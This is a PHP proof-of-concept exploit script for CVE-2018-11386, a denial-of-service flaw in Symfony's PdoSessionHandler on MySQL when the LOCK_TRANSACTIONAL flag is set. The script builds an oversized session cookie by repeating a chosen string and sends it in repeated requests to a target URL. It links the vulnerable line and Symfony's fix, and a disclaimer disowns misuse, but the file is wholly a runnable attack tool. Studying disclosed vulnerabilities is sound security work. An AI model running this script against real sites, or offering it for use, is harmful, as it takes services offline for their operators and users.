#!env php
<?php
/**
 * Symfony PDOSessionHandler DoS PoC
 *
 * I'm not to be held responsible for whatever someone might do with the following code
 *
 * This exploit was tested only with the MySQL database enginem, other engines might aswell be affected
 *
 * The culprit line of code can be found here (In older versions)
 * https://github.com/symfony/http-foundation/blob/6cf9745e71794845c84977b59c74dda3eb3f37dc/Session/Storage/Handler/PdoSessionHandler.php#L557
 *
 * Fix provided by Symfony: https://symfony.com/blog/cve-2018-11386-denial-of-service-when-using-pdosessionhandler
 *
 * Note: Only systems using the PdoSessionHandler::LOCK_TRANSACTIONAL flag are affected
 *
 * @author Federico Stange <jpfstange@gmail.com>
 */

function help(){
	echo "-c\tPHP Session name (example: PHPSESSID)\n";
	echo "-a\tRepeat amount (example: 1000)\n";
	echo "-r\tRepeat string (example: whatever)\n";
	echo "-t\tTarget url	(example: http://localhost:8080)\n";
	echo "-h\tThis help\n";
	echo "-q\tAmount of requests to perform (example: 10)\n\n";
}

function banner(){
	return "\n-- Symfony PdoSessionHandler Denial of service (by Federico Stange) --\n\n";
}

function getOptions(){
	$opts = [
		'c:'  => 'cookie:',
		'a:'  => 'amount:',
		'r:'  => 'repeat:',
		't:'  => 'target:',
		'h::' => 'help:',
		'q:'  => 'requests:'
	];

	$defaults = [
		'c' => 'PHPSESSID',
		'a' => 1000,
		'r' => 'stange_',
		't' => null,
		'q' => 10
	];

	return array_merge($defaults, getopt(implode('',array_keys($opts)), $opts));
}

function validateUrl($url){
	if(!filter_var($url, \FILTER_VALIDATE_URL)){
		throw new \InvalidArgumentException('Invalid url');
	}
}

function makeRequest($url, $cookieName, $cookieValue, $timeout=2){
	$ch = curl_init();
	curl_setopt($ch, \CURLOPT_URL, $url);
	curl_setopt($ch, \CURLOPT_HEADER, 1);
	//curl_setopt($ch, \CURLOPT_VERBOSE, 1);
	curl_setopt($ch, \CURLOPT_TIMEOUT, (int) $timeout);
	curl_setopt($ch, \CURLOPT_HTTPHEADER,["Cookie: $cookieName=$cookieValue; path=/; HttpOnly"]);
	$result = curl_exec($ch);
	curl_close($ch);

	return $result;
}

function createPayload($string, $amount){
	$string = trim($string);
	$amount = (int) $amount;

	if($amount <= 0){
		throw new \InvalidArgumentException('Amount must be greater than 0',1);
	}

	if(empty($string)){
		throw new \InvalidArgumentException('String to repeat can not be empty',2);
	}

	return str_repeat($string, $amount);
}

echo banner();

try{

	$options = getOptions();

	if(array_key_exists('h', $options)){
		help();
		exit (0);
	}

	validateUrl($options['t']);

	$payload = createPayload($options['r'], $options['a']);

	for($i=0; $i < $options['q']; $i++){
		echo sprintf("Making request %d ...\n", $i+1);
		makeRequest($options['t'], $options['c'], $payload);
	}

}catch(\Exception $e){

	help();
	echo "ERROR: \n{$e->getMessage()}\n\n";

}
